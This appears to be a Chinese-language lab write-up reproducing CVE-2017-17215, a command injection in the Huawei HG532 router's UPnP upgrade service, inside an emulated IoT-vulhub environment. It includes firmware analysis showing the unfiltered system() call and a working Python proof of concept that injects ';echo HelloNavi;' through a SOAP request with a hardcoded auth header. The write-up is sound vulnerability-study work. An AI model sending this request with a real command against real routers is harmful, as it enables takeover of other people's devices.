CVE-2017-17215 华为HG532路由器命令注入漏洞分析

CVE-2017-17215是一个远程命令执行漏洞。路由器通过37215端口提供UPnP管理服务，其中一项功能会处理外部传入的数据。固件没有过滤传入的内容，导致攻击者可以进行命令注入，构造恶意请求，最终在设备上执行任意命令

环境搭建

我是在Ubuntu 24.04.4环境下进行的复现

安装好docker和docker compose，输入下面的命令要能输出版本信息

1
2


docker --version
docker compose version

我使用的是IoT-vulhub搭好的环境，对仓库进行拉取

1
2


git clone --depth 1 https://github.com/Vu1nT0tal/IoT-vulhub.git
cd IoT-vulhub

构建基础镜像

1
2


sudo docker build -t firmianay/ubuntu1604 baseImage/ubuntu1604
sudo docker build -t firmianay/binwalk baseImage/binwalk

下载并构建对应QEMU镜像

1
2
3


cd baseImage/qemu-system/mips
bash ./images/download.sh
sudo docker build -t firmianay/qemu-system:mips .

这里如果下载失败，可以进行手动补充，补充完成需要重新进行构建
1
2
wget -c https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_mips_standard.qcow2
wget -c https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta

进入目标漏洞目录

1
2


cd ../../..
cd HUAWEI/CVE-2017-17215

解包固件

1

sudo docker run --rm -v "$PWD/firmware:/root/firmware" firmianay/binwalk -Mer "/root/firmware/HG532eV100R001C01B020_upgrade_packet.bin"

初始化MIPS环境，然后构建并启动

1
2
3


./init_env.sh mips
sudo docker compose -f docker-compose-system.yml build
sudo docker compose -f docker-compose-system.yml up

启动成功后保持终端开启，另开一个终端建立SOCKS代理，让浏览器能通过容器转到QEMU网络，之后需要保持开启状态。这个终端同时也负责作为漏洞复现的攻击者端

1

ssh -D 2345 root@127.0.0.1 -p 1234

部分浏览器为了安全性会自动把HTTP连接升级成HTTPS，导致管理页面无法打开，因此我使用了falkon浏览器。首先配置如图所示的代理

访问http://192.168.2.2/，出现路由器管理界面，说明环境配置成功

漏洞分析

初步分析

阅读漏洞报告，可以获取如下信息：

37215端口
upnp协议
POST请求
/ctrlt/DeviceUpgrade_1
NewStatusURL
NewDownloadURL

递归搜索固件目录，尝试定位具体文件

1
2
3
4


grep -r 37215
grep -r DeviceUpgrade
grep -r NewStatusURL
grep -r NewDownloadURL

可以得知：

37215端口写在bin/mic
DeviceUpgrade服务在bin/upnp中实现
etc/upnp/DevUpg.xml 定义了 DeviceUpgrade 服务，包含NewStatusURL和NewDownloadURL两个字段

具体分析

首先打开etc/upnp/DevUpg.xml，这部分说明NewStatusURL和NewDownloadURL是Upgrade中的参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


<actionList>
<action>
<name>Upgrade</name>
<argumentList>
<argument>
<name>NewDownloadURL</name>
<direction>in</direction>
<relatedStateVariable>DownloadURL</relatedStateVariable>
</argument>
<argument>
<name>NewStatusURL</name>
<direction>in</direction>
<relatedStateVariable>StatusURL</relatedStateVariable>
</argument>
</argumentList>
</action>

用ida对bin/upnp进行分析，查找这两个字段

直接查找到的是字段名的字符串，点击旁边的# DATA XREF: sub_4074FC+60↑o，来到引用处，这里才是真正的代码位置

可以看到很多指令，目标字段在中间，说明这只是一个函数中的一句指令。我们的目标是分析整个函数，因此向上查找函数的边界。可以看到LOAD:0040749C附近被分隔，且出现了addiu $sp, -0x438：给这个函数分配0x438字节的栈空间，也就是开栈帧的操作，判断这里是函数的起始位置

把光标放到0040749C，按P创建函数

按F5查看伪代码

v4是NewDownloadURL的值，v5是NewStatusURL的值，中间几个判断语句是确认是否赋值成功，最关键的是这两句

1
2


snprintf(v6,1024,"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b",v4,v5);
system(v6);

snprintf是一个c库函数，用于格式化并写入字符串。这部分的意思是将v4和v5按照模板格式化并写入v6，也就是分别填入两个%s的位置

upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b是路由器升级固件的命令，问题也出在这里。NewStatusURL和NewDownloadURL由用户传入，而这里没有任何过滤机制，那么假如用户传入的是会被解析成指令的特殊语句，就会被system()随着升级固件的指令一起执行

漏洞复现

为了构造上面所提到的特殊语句，就要知道system()函数的执行规则，也就是shell的语法规则。;相当于两个命令的分隔符，因此如果在一个指令左右两侧加上;，再作为NewStatusURL或者NewDownloadURL传入，上面的升级固件命令就会被分隔成三份，最终成功执行恶意指令

我的目的是让终端输出HelloNavi，poc如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;echo HelloNavi;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.2.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

复现需要启动mic来监听37215端口，upnp来处理UPnP请求。在ssh终端中检查37215端口，如果输出open说明端口已开启，这个docker环境已经启动了这两个服务，无需手动启动

1

nc -zv 192.168.2.2 37215

由于脚本是在宿主机写的，而宿主机和容器不共用同一套文件系统，新开一个终端将写好的脚本复制进容器

1

sudo docker cp /home/th4uma/IoT-vulhub/HUAWEI/CVE-2017-17215/system-emu/tools/poc.py huawei-system:/root/tools/poc.py

在ssh终端运行脚本

1

python3 /root/tools/poc.py

这时维持环境的终端输出了目标日志，攻击成功

参考

Huawei Home Routers in Botnet Recruitment - Check Point Research

一些经典IoT漏洞的分析与复现（新手向） - IOTsec-Zone

Vu1nT0tal/IoT-vulhub

CVE-2017-17215-HG532命令注入漏洞分析-先知社区

华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215 - IOTsec-Zone

HG532e漏洞复现(cve-2017-17215) - 知乎